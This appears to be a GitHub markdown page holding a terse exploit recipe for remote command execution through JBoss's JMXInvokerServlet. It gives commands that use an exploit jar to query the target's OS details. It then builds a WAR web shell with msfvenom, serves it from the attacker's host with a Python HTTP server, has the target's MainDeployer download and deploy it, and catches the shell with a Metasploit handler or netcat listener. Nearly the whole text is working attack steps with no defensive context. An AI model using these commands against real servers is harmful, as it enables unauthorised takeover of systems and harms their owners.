Skip to content

Latest commit

 

History

History
24 lines (11 loc) · 719 Bytes

JBoss JMXInvokerServlet JMXInvoker 0.3 - Remote Command Execution​.md

File metadata and controls

24 lines (11 loc) · 719 Bytes
Raw

java -jar jboss_exploit_fat.jar -i http://Target_IP:PORT/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName

java -jar jboss_exploit_fat.jar -i http://Target_IP:PORT/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSVersion

  • File Upload (Deploy)

MSFVenom with create shell.war file

Folder containing shell.war file

Python -m SimpleHTTPServer 8000

java -jar jboss_exploit_fat.jar -i http:/Target_IP:PORT/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://My_IP:8000/shell.war

http:/Target_IP:PORT/shell.war

Listenin Port ( exploit/multi/handler or nc -lvp port )